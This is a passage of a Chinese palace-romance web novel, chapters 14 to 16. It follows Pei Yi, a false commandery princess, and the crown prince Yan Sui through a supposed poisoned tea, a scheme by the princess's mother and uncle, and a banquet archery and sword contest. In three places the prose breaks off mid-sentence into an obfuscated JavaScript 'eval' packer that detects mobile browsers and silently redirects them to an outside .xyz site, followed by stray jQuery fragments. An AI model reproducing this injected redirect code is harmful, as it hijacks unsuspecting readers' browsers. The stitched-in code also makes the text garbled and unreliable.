裴旖无语抿唇,裴家经营的只是普通医馆,哪里会精通这些旁门左道?再者听闻他的暗卫中就有用毒的高手,若是连他都解不开的毒,她又怎么可能解得开? 但今日她实在是太乏了,实在懒得再与他继续分辩,只想先应承下来他这道考题再回去另想办法。她压着烦躁和不耐问:“毒药在何处?” 他气定神闲回:“在郡主眼前。” 裴旖听言一愣,视线缓缓定到了面前自己刚刚喝过的那半盏茶上:“…………” 晏绥抬起眼,见她呆呆望着茶杯,一脸像是在出神但更像是在平静谋划怎么杀了他的表情,忽然想起了从前在北靖时大雪天里落进他陷阱的狐狸。 当时它蹲坐在陷阱里呆呆的一动也不动,他以为它是被吓得傻了,连挣扎都忘了,可在他将它抱离陷阱的一瞬,它突然埋头在他手上狠狠咬了一口,然后飞速蹿进雪地里,一眨眼逃得再不见踪影。 他心心念念想要再捉住它,陆续又布置了许多陷阱机关,可直到春天到来,他进入军营,离开北靖,一直都没有等到它出现。 男人的深邃黑眸里趟过一丝难以觉察的兴味,仿佛时隔多年以后,再次遇到了年少时念念不忘的那只狐狸。 他从她脸上收起视线,随手将手里的手稿翻到最后,掠了一眼刚要合上时,眼底的幽光忽然一凛,继而兴味更浓。 少女的笔迹工整,赏心悦目,唯独藏在角落的两个字,笔迹很是潦草不说,力道间也仿佛带着书写人不小的恨意: 晏贼。 14. 第 14 章 璟王府。 月色皎洁,透过雕花的窗棂洒落在游廊上,殿内的玉器和瓷器碎了满地。几个黑衣人低着头跪成一排,晏月华双手撑在桌案上,五官在盛怒之下依旧美艳,不负北靖第一美人的盛名:“郡主怎么会突然不见了?看不住郡主,你们是都不想要脑袋了吗!” 底下无人敢分辩,只是默契地各自将头垂得更低。璟王坐在一旁的舆车上,一向清风霁月的脸上也布满阴霾。 姜绮在姜家突然失踪已经十分蹊跷,而裴家的医馆也在一夜之间人去楼空,太子却在这时突然回到上京。这几件事如此巧合地前后发生,实在令人无法不怀疑是晏绥的手笔。 他一脸阴色地靠坐在舆车里,半晌,沉声开口道:“阿川,今日之事你死不足惜,只是就算本王现在赐你一死,郡主依旧是下落不明。” 被唤作阿川的暗卫跟了他多年,自然立即心领神会他的意思,从腰间抽出一把短刀,毫不犹豫手起刀落,砍下了自己的两根手指。 身旁同样跪着的几个同僚听到了声音,均是不忍相看。他死死咬住牙忍了片刻,开口时的声音仍旧因为疼痛而不受控地有些发颤:“属下自知罪无可赦,但求殿下允许属下将功折过,属下一定尽心寻找郡主下落。待郡主平安归来之时,属下愿再以死谢罪。” 晏凌风冷眼看着地上几人,未置一词。晏月华皱紧了眉,对方此举根本无法消解她心头之恨,但眼下人突然不见了,除了继续寻找也别无他法,她方才发泄了一通,眼下也乏了,不耐斥道:“都滚下去!” 几人陆续从廊上退下,殿内就只剩下姐弟二人。晏月华不再绕弯子,转过头沉沉看向自己的胞弟:“是晏绥?” 晏凌风沉默不语,虽然他也很趋向于这个答案,但又隐约觉得这其中似有不通之处。 若是晏绥已经知道裴旖这个郡主是假了,便等于是也知道了她于长公主府而言毫无可以利用的价值,那他又为何要与她走近? 难道,他知晓裴旖的真实身份了? 他的眼底因为这个猜测骤然浸透寒意,但很快他又自我否定,不可能。 那枚蝴蝶玉佩是十八年前的事了,当年见过玉佩的人就寥寥无几,甚至连他自己也只是听说过,从未亲眼见到过,晏绥就更不可能知情了。 他闭眼揉了下眉心,半刻之后,抬起脸,看向面前的人:“可能是他,也可能另有其人。” 晏月华眉目紧锁,定定看着他的脸,他沉稳继续道:“太子突然回京,是因为遭人暗杀负伤。” 此次东宫的行军路线隐秘,对方能在晏绥刚离开京城不久就精准埋伏在青峰关,说明在他们与晏绥之间,另有一脉他们之前从未察觉到的势力在暗处。 “不管劫走姜绮的人是谁,此人既想用姜绮来要挟我们,就必不会危及她的性命。眼下在寻找姜绮的下落之余,倒还有另一件事可以先作打算。” 晏凌风顿了顿,接着道,“从前的东宫密不透风,我几次试图安插人进去都没能成功,如今裴旖既与东宫走近,我们何不顺水推舟,一石二鸟?” 可面前的人听言却是冷笑:“先前你也是这般说,可只是一个黄毛丫头而已,就几次三番搅了你的计划,如今连晏绥都回京了,我们所有的准备全都功亏一篑!” 她越说越觉怒火中烧,美目中露出阴狠恨意,“我不想继续在这件事上纠缠下去,我的女儿生死未卜,她凭什么好好活着?她现在应该在大牢里苟延残喘,而不是顶着郡主的身份滋润招摇!” 晏凌风的反应十分平静,显然是早已习惯了她的跋扈暴躁:“长姐莫要心急,裴旖必不可能知晓她自己的真实身份,即使搅乱我们的计划也只是意外而已。至于晏绥,无论姜绮失踪之事是否是他所为,这笔账,都可以算到他的头上。” 晏月华冷冷瞪着他,似乎已经相当不耐烦他没完没了的说辞。晏凌风不慌不忙继续道:“眼下知道裴旖是假郡主的,只有你我二人,而知道裴旖是我们设计寻回来的,也同样只有你和我。所以,长姐,你才是受害者。” 他看着她的脸,缓缓重声道,“这十八年来你寻女心切,所以才会受人蒙骗,错将假郡主认作女儿。” 晏月华慢半拍会意过来他的意思,眼里的灼灼怒火逐渐平息。 “皇兄是明君,一向以仁孝治天下,若是他的亲生儿子,大昱的储君暗中阻止你们母女相认,还以郡主的性命要挟你——” 晏凌风轻蔑冷笑,“不知皇兄和百官知道后,会作何反应呢?” * 长宁宫。 裴旖快步踏进门后,将怀里那厚厚一沓纸扔到了桌上,瘫在椅子上揉着自己酸痛的后颈。 青霜提着灯笼跟在她身后几步进来。一向沉静的郡主从太子书房出来时气鼓鼓的,这一路走得飞快,她都险些没有追上。没敢多嘴询问缘由,她熄灭了灯罩里的火后,试探问了句:“郡主,明天还要继续抄吗?” 裴旖没好气瞥着桌上那一大摞的纸,声音从齿缝里挤出来:“抄。” 青霜喔一声,走上前来给裴旖捏着肩膀。方才她与南风通过气,此刻心里倒没有太担心,只是觉得疑惑:“可是经书没有拿回来啊?” 裴旖冷哼一声:“不抄经了。” 青霜心道谢天谢地,这些天抄经抄得她在一旁看得都腻歪了,好奇问道:“那要抄什么?” 裴旖紧紧抿住唇,心里歇斯底里咆哮,名字!!抄他的名字!!一万遍!!!! 见她闷着气半天不回应,青霜又问:“奴婢先去厨房拿些吃的来吧?” 裴旖摇摇头,她早饿得过头了,再说相比进食,她此刻有更要紧的事情。 她吩咐青霜去备水沐浴,待对方离开后,她抬起左手臂横在桌案上,另一只手搭住手腕,沉眸静待了半晌后,眉目间的凝重没有再加深,却也始终没有舒展开。 她的脉象并无异常,不像是中毒后的迹象。 裴旖缓缓放下手臂,内心没有丝毫的放松,反而因为未知而更觉不安。 她看得出来,虽然晏绥已经认定她骗了他,但至少暂时,他并不想要她的性命,那杯茶说是毒药,应该也只是为了折磨她而已。 可眼下她饮下那杯茶已经有半个时辰,身体毫无反应不说,连脉象也不见端倪,而又因为对方是晏绥,所以她此刻更拿不准,到底是毒药的作用还没来得及发作,还是说那副所谓的毒药其实根本就不存在? 她被这种不确定扰得心浮气躁,同时又不禁自嘲暗想,这种明知有异却摸不着也看不见的感觉,的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951811|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确是折磨人的最高境界。不愧是晏绥。 而眼下她身上不仅是有一剂未知的毒药在,更有他抛给她的那道难题。他竟然以她所说的话为条件,逼着她给她自己解毒,这种行径说他是贼都是美化了他。 裴旖冷眼瞟着桌上那沓纸,越想越气,踢了脚桌腿儿,低声恶狠狠小声咒骂了句:“晏狗,呸。” 晏绥抬起头看了眼窗户的方向,眸底闪过疑惑,明明关得严严实实,怎么好像忽然有阵冷风掼进来? 南风瞧见他动作,快步走上前换了盏更亮的灯,同时低声提醒:“殿下,已经子时了,您今日刚回京,还是早些歇息吧?” 晏绥放下笔,站起身,余光瞟到桌案角落里的经书。 他身边的人都知道,触碰他的东西是大忌,她倒好,一上来就碰了个大的,偏偏他又杀不了她,不仅是因为她是郡主,还因为她诡计多端,巧舌如簧。 他明知她只有求他庇护的那一句是真心,其余全都是假话,可他就是像中了蛊一样的好奇,她到底还能做出什么事情来骗他。 晏绥收起视线,无声暗哂,罢了,她也并非全然无用。 待长公主与璟王彻底解决之后,再杀她也不迟。 他吩咐南风:“整理干净,装回盒子放好。” 南方应了一声,走上前拎起一本经书用力掸了掸。这套书的年头久,可经不住他这么折腾,晏绥皱了皱眉,摆手制止:“算了,孤自己来。” 南风悄悄望他一眼,退到一旁。他看着桌案前的人对着油灯将每一本经书都用软帕细致擦拭,暗暗压平了上翘的嘴角,眼眸里漾开一副了然的深意。 他心中不禁感慨,殿下自是人中之龙,郡主也同样秀外慧中。两人自出生时定下婚约,之后一别十八年,再见时还能如此情投意合,实乃佳偶天成,天赐良缘。 察觉到身旁人的神色有异,似乎又在想些什么不着调的了,晏绥敏锐瞟过来一眼,冷声问:“你有话要说?” 南风迅速敛起脑袋里的遐思,正色提议:“今日郡主写了那么久的字,殿下可要送盒药膏过去?” 晏绥反问:“为何?” 他认真道:“郡主这几日一直早出晚归在琼华殿为殿下抄经祈福,想来定是肩酸背痛,十分疲累。” 晏绥语气冷漠:“她是医女,不缺这些。” 南风极力游说:“郡主需不需要是一回事,殿下的心意是另一回事。” 晏绥把经书放回锦盒里,心不在焉冷哂:“她现在需要的不是药膏,而是有人替她分担明日那一万遍。” 南风闻言惊讶瞪大了眼,暗自咂舌,经书抄一万遍??那郡主焉能有命在?! 他心道殿下这也罚得太狠了些,已经完全超出了情趣的范畴,转念又突然一思忖,殿下为何要与他说这些? 方才郡主离开东宫时怀里抱着厚厚一沓纸,面有愠色。想来定是殿下自己思来想去后也觉得一万遍太过分了,却又拉不下面子去求和,所以在暗示他去帮郡主作弊? 捋清楚了前因后果后,南风的眼眸瞬间亮了。他毕恭毕敬道:“属下明白了,这就去办!” 语毕他躬身快步退出书房,晏绥看着他的身影消失在屏风后,皱了下眉。 他又明白什么了? 15. 第 15 章 翌日早上,裴旖称自己昨晚受了凉,让青霜去太医院请来了顾祈安。 趁着青霜去支使小丫鬟煎药时,顾祈安一面从药箱中拿出手枕垫在裴旖腕下,一面低声道:“师叔一家已经离开长陵了。” 这是从裴旖重生以来听到的第一个好消息,她心中最大的一块石头落了地,原本心神不宁的脸上浮现出几分血色:“那就好。” 顾祈安搭上她的脉,将声音压得更低:“师叔他很担心你的处境。” 裴旖的眸光微微晃动,她想说自己没事,可是自从重生以后,她没有一刻不是在绷紧了应对各种各样的状况和危机,这几个字实在无法违心说出口,半晌,才轻声启唇:“我能应对。” 面前人望她一眼,神色隐有担忧:“那日你遣婢女到济安堂来送信,而后又接连遇刺,家父听说后也十分牵挂你的状况。” 停了瞬,他继续诚恳道,“或许你有难言之隐,我们能帮助你的也有限,但若是你有需要,我定会竭尽所能。” 裴旖无声看着面前的男人。 上一世她入狱之后,他曾冒死贿赂狱卒进来看过她一次,并在外面尽心为她奔走。两人有青梅竹马的同窗之谊,尽管分别数年,早已不复幼时的亲近,但他依旧坦荡赤诚,一如当年在长陵时的那个少年。 眼下她的处境实在危险,如今养父一家提前离开长陵已是万幸,她不愿再牵连到更多无辜的人,未再多言,只是极轻地弯了下唇:“多谢。” 门外脚步声响起,顾祈安隐去眼中的忧虑,略微提高声音:“郡主昨夜感染了风寒,加之近日忧思烦乱,需多加休息,同时在饮食上加以调理,切忌再劳心伤神。” “多谢顾大人。” 裴旖顿了顿,又迟疑问,“我的脉象,可还有其它不妥之处?” 顾祈安不明所以,但还是回话:“并无。” 青霜走了进来,叮嘱过需要注意的事项后,顾祈安告辞离开。 裴旖走到桌前坐下。因着前一日她基本没吃什么东西,青霜特意让小厨房做了些清淡的菜式,盛了碗虾仁粥放到裴旖面前。裴旖心事重重,也没尝出什么味道来,食不知味吃了半碗后,正要放下羹匙,青霜在一旁劝道:“郡主,再吃些吧,奴婢瞧着你这几日都瘦了一圈。” 裴旖的动作停了停,羹匙又落回了碗里。 她倒没觉出自己消瘦,只是最近心里惦记的事情实在太多了,整夜睡不安稳。好在如今养父一家已经安然离开长陵,于她而言是个不小的宽慰,这一世能保全最重要的家人,她便是没有白白重活。 半天不见她回应,青霜观察着她的脸色,再次开口:“说来也怪,自从那日府上失火后,就接二连三地出事。奴婢想着,郡主要不要去寺里烧柱香,求个平安?” 裴旖握着羹匙微怔,这些日她在宫里埋头抄经,倒也想出去散散心,只是以她目前的处境,去寺庙那样人多眼杂的地方只怕是会更加危险。 她无奈自嘲道:“罢了,我现在这样子,还是少出去走动为妙。” 青霜知晓她的担心,提议道:“郡主若是不放心,让太子殿下陪着你去不就行了嘛。” “他?” 裴旖搅着碗里的粥,扯唇低哂了声。 青霜没有觉察到她的不快,用力点了点头,自顾自絮絮道:“我听说太子殿下的亲兵是上京城最厉害的,虽然这次只有一小撮跟着殿下回了京城,数量是少了些,但保护郡主还是绰绰有余的。而且就算是万一遇到了危险,也还有殿下本人在呢嘛!” 裴旖心不在焉舀了半勺粥,眼前恍然浮现出上一世的最后,他独自从凉昭归来,在太和殿当众手刃政敌血溅三尺的场面。 他的武力她是亲眼目睹过的,她从未怀疑,只不过在她没有危险的时候,他恐怕才是她最大的危险。 她站起身,对于青霜的提议未置可否,神色淡淡吩咐:“以后用膳的时候别提他。” 倒胃口。 青霜噢了一声,悄悄看一眼面前人的背影,总觉得最近郡主的心思似乎越来越深沉,也越来越难捉摸了。而且郡主从回府后一直待她很是亲善,可是这几日相处时却有种说不上来的隔阂感。她想不出是自己哪里没有做好,不过转念又一想,接连被人行刺,换谁心情能好得起来?如此她便也不再纠结,收拾好桌上的东西,抬脚往厨房去了。 裴旖走到窗前,随手拿起一本书,翻开几页后又心浮气躁扔到了一旁。 昨夜她在梦里焦急奔波了一宿,四处找人看自己到底是中了什么毒,诊断出来的结果千奇百怪,应有尽有。其中最离谱的是一个头发和胡子全都花白了的老道医,说她中的是情蛊,待她对下药之人动心之时,便是她毒发身亡之日。 裴旖听言瞬间放下心来,暗想幸好自己绝不可能对那个人动心。面前人似是看出她心中所想,悠悠道:“缘乃天定,非人之所控也。” 她不以为然:“我跟他的关系始于欺骗和利用,怎么可能再互相生出情愫?” 老道士半闭着眼摇着把破芭蕉扇,一语道破:“你与他的缘分,始于上一世他为你安葬。” 裴旖闻言一愣,正要倾身追问时,忽觉肩膀一沉,回过头,晏绥站在她的身后,脸色晦暗不明地沉眸盯着她。 她心脏紧张一沉,以为他们说的话全都被他听到了,正飞快想着该如何挽救时,他突然冷冷开腔问:“一万遍抄完了吗?” 裴旖:“…………” 她闭上眼无奈揉了揉额头,算是切身领教到这种没着没落的感觉是有多折磨人了。就这么一个没有症状不见端倪甚至连存在与否都不确定的毒药,白日里吊得人不上不下,夜里到了梦中也不放过她。 她在心里又骂了晏绥几句,忽然听到一阵沉稳而有序的脚步声由远及近踏进殿中。 裴旖下意识回过身,为首的是一位气质沉稳的中年女官,身后十来名宫女端着托盘排成了两列。向她行过礼后,对方说明来意:“臣此次前来乃奉太子殿下之命,殿下舟车劳顿又身负箭伤,今晚五公主的生辰宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957252|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要有劳郡主代为前去。” 裴旖诧异怔了半刻,恍惚记起来,上一世在她入狱之前谢颜曾提醒过她要准备给五公主的贺礼,原来就是今日。只是一来昨日晏绥的状态明明好得很,一点也不像是负伤之人,二来她虽与他有婚约在身,却尚未成亲,如何能代他前去? 女官未再多言,双手叠在身前退开一步。几名宫女垂着头向前一字排开,举起的托盘上呈着不同颜色的礼服,女官温声道:“请郡主挑选。” 裴旖敛了敛眸,视线扫过房内众人,愈发看不懂晏绥这番操作是何意。昨日给她下毒,今日又让她去宫宴,莫非是这毒药的药效恰巧会在宫宴时发作,令她在众人面前出丑难堪? 这个猜想荒唐得她自己都想笑,毕竟是曾经给她收过尸的男人,再怎么厌恶她也应该还不至于如此下作,更何况他名义上的未婚妻子当众丢脸,对他又有什么好处? 但不管他的真实意图到底是什么,眼下她有求于他,只能接受。短暂的沉默之后,裴旖没有再纠结,选了套颜色最素雅的:“这件吧。” 没有被选中的几名宫女退下,接着又一排端着首饰的宫女走上前。如此几轮之后,今日的装扮定了下来,最后一名宫女端上来一个红色锦盒,女官打开盖子给裴旖过目:“这是今日的贺礼。” 她淡淡嗯一声,示意青霜接过去收好。 换上礼服后,裴旖端坐在镜前,众人井然有序地围着她画眉、描唇、编发。 她静静阖着眼,日光照在她的脸颊上,暖得她逐渐涌上几分困意。萧女官站在一旁望着铜镜里的人,向来波澜不惊的眼眸里浮现出隐晦的探究。 她在晏家的时间很长,因此晏家的所有成员她都见过,可是眼前这位郡主在她看来,五官既不像长公主,也不像当年的驸马。 这种情况并不寻常,她心生疑惑,视线细细打量着镜中之人的脸庞。对方的容貌虽不及长公主美艳绝伦,却另有一番清冷韵味,她越看越觉得隐有几分眼熟,可一时想不出曾在哪里见过。又半个时辰过去,镜子前的人仍旧坐姿端正,神情里也不见丝毫不耐,她眼里的怀疑又慢慢消散了开。 在她今早来这里之前,听说了昨日郡主被太子罚在东宫殿外抄书一事。郡主毕竟是长公主之女,千金贵体,她原以为自己过来后免不了要被发一通脾气,或是被冷脸相对颐指气使,没想到郡主年纪不大,性子却沉静,对于昨日受罚之事并未展露出半分情绪。如此看来,郡主虽然没有继承长公主的美貌,却也同样没有继承长公主的张狂拔扈。她不禁暗慨,若是先皇后泉下有知,终于可以放心这门十八年前定下来的婚约了。 铜镜前的梳妆也进行到了最后一步,宫女将锦盒里的簪子插进发髻,椅子上的人缓缓睁开眼,日光透过窗棂,将她的脸颊映得盈润白皙,描在上面每一笔都分外真切,美得仿佛一幅逼真的美人图。 萧女官敛起神思,走上前,双手呈上今晚的请帖。 她想,若是先皇后还在,应该也会喜欢这个儿媳。 16. 第 16 章 公主的生辰宴,设在太液湖旁的望月亭内。 晏灵年方十四,还不到及笄这样重要的年岁,因此今日宴请的规格并不算隆重,到场的人也全都是皇亲以及各世家的女眷。 裴旖到得早,人还来得不算多。她先去见了长辈,晏灵的母妃是丽妃,如今在宫中风头最盛,她还有一子晏轩,刚满三岁,皇帝老来得子,甚是宠爱这个幼子,她也母凭子贵,眉眼里皆是春风得意,笑吟吟命人接过了裴旖的贺礼,寒暄几句后,催促她去与年轻的小姐们一块儿说话。 裴旖施一礼后起身离开,她在宫中认识的人不多,视线还在人群里搜寻着,肩膀忽然被人从后面轻轻拍了一下。她回过身,看清楚来人后,弯唇笑道:“你平日里总是迟到早退,今日竟来得这般早?” 谢颜牵起她的手,围着她啧啧看了一圈后,一边拉起她往亭子深处走,一边神秘笑道:“今日有好戏。” 两人搭着手一前一后穿过凉亭,踏上了湖上的石桥。 天色将晚,夕阳的金光粼粼洒落湖面,春风将少女的裙摆轻盈漾开。亭子后是一片翠绿的茂密竹林,欢呼和喝彩声络绎不绝传出来,待走得再近些时,裴旖看到竹林深处立着若干个远近不一的草人,每一个草人的身上都歪歪斜斜插着红黑两种不同颜色的箭。 人群中,两名少女正在比赛射箭。其中一名少女身着暗红色劲装,墨色长发在脑后高高束起,弓拉得沉而稳,一身飒爽的英气,正是晏然。 与她并肩而立的另一个少女着一身蓝衣,看起来年长她一两岁的模样,身材也比她更高挑些。 两人的箭艺势均力敌,难分伯仲,但旁观久了就能发现,相比于晏然的淡定松弛,蓝衣少女似乎对于输赢更加在意,每一次晏然射中草人之后,她都会紧接着选择更远一级的草人作为目标,仿佛誓要压下晏然一头。 几轮之后,蓝衣少女因为目标太高而频出失误,原本领先许多的分数差距正在逐渐缩小。到最后一箭时,她没有顶住压力意外失手,箭矢紧擦着草人的手臂飞过射了个空,在众人的惋惜声中,她的分数仅余下领先一点点的优势,而晏然的箭筒里却还有一只箭。 胜负基本已经提前锁定,蓝衣少女的脸色失望难看,嘴唇抿得微微泛白。 裴旖压低声音问身旁的人:“这俩人什么恩怨?” 谢颜唔了声,拿下巴指了指:“她想做她嫂子。” 裴旖一时没绕过来这关系:“……啊?” 谢颜附到她耳边,一字一顿:“她,想做你小姑子的嫂子。” 裴旖愣了下,没等她反应过来,晏然的最后一箭已经飞了出去,稳稳落在离她最近的那只草人头上。 她把弓举起来扛在肩上,扯了扯唇,傲娇又懒散的模样颇有几分晏绥的影子:“哎呀,承让。” 蓝衣少女的脸色很不痛快,但输了比赛也没失了风度,她很快调整好状态,朗声道:“许久不见,公主的箭艺又精进了,今日我甘拜下风。方才说好了三局两胜,我们下一局比什么?” 晏然招了招手,十来个宫人迅速上前,将两人的箭弓、箭筒等悉数拿了下去,迅速清出了一块空地来。 谢颜在裴旖耳边快速解说道:“那蓝衣姑娘是定北将军之女苏黎盈,从前晏家在北靖时她父亲就深受器重,她和她哥哥小时候也一直养在晏家,跟太子、文王、公主、世子他们都是一起长大的。先帝登基后苏家一直留在北靖镇守,这一次是她哥哥进京述职,她也一同过来了。” 裴旖听懂了,又没完全懂:“那她们俩现在为什么比试?” 谢颜耸肩:“打赌咯。” 裴旖抬眼:“赌什么?” “公主看上了苏姑娘的马。” “这很难割爱吧?” “是呀,所以苏姑娘要赌的,是公主的貂。” 裴旖暗暗咂舌,这一局她们俩是非赌不可吗? 见她半晌没有其他反应,谢颜出声提醒道:“那貂是太子送给公主的,你可知道?” 裴旖点点头:“知道。” 见她还是不开窍,谢颜压着声音无奈道:“所以人家是醉翁之意不在酒啊!” 裴旖停顿半晌,木然喔了一声。 真醉假醉跟她有什么关系?那貂又不是她的,太子更不是她的。 谢颜很不满意她这副平淡的反应,轻轻揪起她的耳尖,加重语气道:“苏黎盈算是晏家半个女儿,与太子青梅竹马,倘若你一直下落不明,她十有八九是会指给太子的!” 裴旖若有所思:“那是我耽误了他们两人的大好姻缘了?” 谢颜:“…………” 她仰天长出口气,摆摆手,放弃了继续点化面前的人,“罢了,罢了,还是先看今日是她们谁赢吧!” 第二局比试正式开始,两人各执一把桃木剑,剑尖上涂了一层朱红的油墨,先在对方颈上画出痕迹的人为胜。 谢颜很是兴奋,拉着裴旖穿过人群往近处找了个视角绝佳的好位置。她素来看不上晏然那副眼高于顶谁都不放在眼里的样子,平日京城中的贵女多是巴结着她,鲜少有人与她势均力敌。今日不论最后谁输谁赢,只要能有人当众挫一挫晏然的锐气,她就高兴。 两人站在空地中央,互相浅浅抱一拳后,晏然率先出招。她的攻势凌厉,直指要害,轻身一跃,身型在空中划出一道轻盈的弧线,随即抬手向下一劈,剑尖直奔对方的脖子而去,对方挥剑一挡,两剑在空中相交,发出沉闷又尖锐的碰撞声。 围观的众人屏息凝神,生怕一个眨眼就错过了胜负的一幕。两人出招的速度越来越快,剑影交织,几乎看不清楚轮廓。又几个回合之后,苏黎盈略微占据上风,她找准对方的破绽,猛然逼近,晏然足尖点地狼狈向后接连退了十几步,后脊抵到了竹子上,面前的剑尖已经无限接近她的喉咙。 眼见着胜负就要分晓,众人不约而同睁大了眼,突然一声兽类的尖叫响起,尖利得仿佛要撕破天际,接着一团白色的阴影像闪电一般朝着苏黎盈疾速扑了过来。 苏黎盈被骇了一跳,本能挥剑要挡,晏然脸色骤变,唯恐自己的貂被对方误伤,顾不上自己此刻正处于劣势,反脚在竹子上用力一蹬,用手臂狠狠撞向对方的手腕。苏黎盈不防,被这力道震得脱了手,桃木剑腾空甩出,凌厉冲破层层空气,径直冲着裴旖的方向飞了过来—— 裴旖呆怔僵在原地,变故发生在瞬息之间,根本没有时间给她作出反应。人群中已经有胆子小的失声尖叫出来,她眼睁睁看着那把剑迎面袭来,漆黑瞳孔疾速缩紧,直到剑尖距离她不足半尺时,一把玄色的短刀以更快的速度从一旁疾驰飞出,其力道和准度皆堪称惊人,就连裴旖本人都未来得及完全看清楚发生了什么,一声沉沉的闷响之后,那把桃木剑被短刀稳稳钉在了一旁的树上。 少顷寂静之后,围观的人陆续回过神来。 谢颜吓得花容失色,眼里都泛出了泪,一面懊悔自己非要拉裴旖凑近了看热闹才害她险些被误伤,一面又十分后怕,若是方才没有人出手相救,后果简直不堪设想。 裴旖的面色还算镇定,但后背却悄悄沁出了汗。她略微定了定神,往方才匕首掷来的方向望过去,只见路两侧的人纷纷行礼,同时后退给中间的两人让出了路。 晏绥走在前面,身后的男子年纪与他相仿,五官端正俊朗,着一身青灰色的衣袍,腰间系着枚九宫八卦牌,牌子下坠着的五彩流苏与纯银铃铛明显是北地特色,跟方才那把短刀上的坠饰是同样的风格,裴旖猜测着,这位大概就是苏黎盈的哥哥了。 两人走至裴旖身前,晏绥神色莫测看她一眼,没有言语。苏青琰向她行了一礼,沉声道:“今日之事是舍妹之过,让郡主受到惊吓,还请郡主恕罪。” 众人闻言,纷纷投来或好奇或探究的视线。 方才公主与苏姑娘的比试激烈,所有人皆没有注意郡主是何时到来的。郡主回京的时日不长,他们当中有大半的人未曾见过她的真容,只听闻她容貌不及长公主艳丽夺目,性情也沉默寡言,毫无出奇之处,可是今日看来,传言似乎不实。 她身着一套月白色的华服,细密的缕金线在裙摆与袖口处绣着精致的蝶纹,乌发挽髻如云,面容清冷,肤白胜雪,与长公主是完全不同类型的美貌,尤其是那双眼睛漆黑狭长,眼尾却微微上挑,为她气质中的疏离增添了一份恰到好处的魅惑,有种欲拒还迎的矛盾感,令人愈发想要一探究竟。 四周目光齐聚,竹林内一时鸦雀无声。裴旖不太自在成为被关注的焦点,扯了下唇,轻声道:“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959160|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多谢方才苏将军出手相救。苏姑娘也是无心之失,苏将军莫要挂怀。” 晏绥听言瞥过来一眼,眉尾极轻地挑了一下。他身旁的男人静默了瞬,而后道:“举手之劳,郡主无需客气。” 苏黎盈拧眉揉着自己被撞麻的手腕,视线装作不经意地暗暗瞟过人群中心的女子,眸底掠过一抹复杂的惊艳之色,随即被她别开眼隐了下去。 晏然的面色也不佳,手指轻抚着肩上受惊的小兽,低声道:“方才这局是我输了。” 苏黎盈的目光落在那把被钉穿的桃木剑上,眼神有些暗淡落寞:“你的貂认得主人,我即使赢了你也无用。” “可是你那匹马我还是想要的。” 晏然瞟她一眼,“待你恢复后,可要再与我比一场?” 苏黎盈收起视线,还未等回话,身后忽然远远响起一道娇柔的女声:“皇姐!苏姐姐!” 来人是今天宴会的主人,晏灵。她身着浅妃色的宫装,额间描着花钿,整个人珠光璀璨,透满了少女的娇俏,却又不失华贵。 走近人群后晏灵才看到晏绥也在,她向他行一礼后,望了眼他身侧的裴旖,唇边的弧度微微停滞,而后又很快漾开,抬眸向着晏绥撒娇道:“皇兄,你快替我说说她们两个罢!苏姐姐好不容易才回京一趟,这宴席都要开始了,她们俩一遇上就又比起来个没完了!” 晏绥眼神示意晏然带苏黎盈回去,众人也陆续结伴离开了竹林。晏灵微笑抬脚跟上了人群,转过身去的瞬间,原本娇美灵动的脸庞瞬间阴沉冷了下来。 裴旖也想走,可是她身旁的人没有动,她也不敢动,到最后竹林里竟不知不觉只剩下了他们两人。 天色渐晚,竹叶在风中簌簌作响。经过方才那场意外,裴旖的心绪还没有完全平复,暂时忘却了两人前一日的恩怨,委婉问道:“殿下箭伤未愈,怎的也出来了?” 晏绥语气冷淡:“勉支病身,来见识一下活人是如何被木剑给劈中的。” 裴旖听出他的嘲弄,抿了抿唇,不想再跟这人独处,又问:“宴席就要开始了,殿下可要与臣女同去?” 面前人未置可否,淡声命令:“去把孤的匕首拿上。” 裴旖一怔,反应过来自己方才谢错了人,脸颊微微烫了起来,幸好有夜色庇护,她装作无事发生,镇定应了声好。 她转身快步走到树前,握紧了匕首用力试图抽出,可那刀刃插得极深,竟然纹丝不动。 裴旖一面暗暗惊诧,一面又不禁想到,若是当时这把匕首稍微偏离一点,或是自己突然动了一下,那她今日又会是什么下场? 她不敢细想,定了定心神,两只手齐上阵,甚至还加上了一只脚抵住树干助力,可那把匕首就像是长进树里了似的,一动不动。 裴旖面颊浮上几分尴尬,同时羞恼断定,晏绥肯定是故意的。 他使了多少力道只有他自己清楚,他明知道这把匕首钉得这么深她根本不可能拔的出来,却还是叫她来拿,摆明了就是在报复方才她没有第一时间在人前感激他。 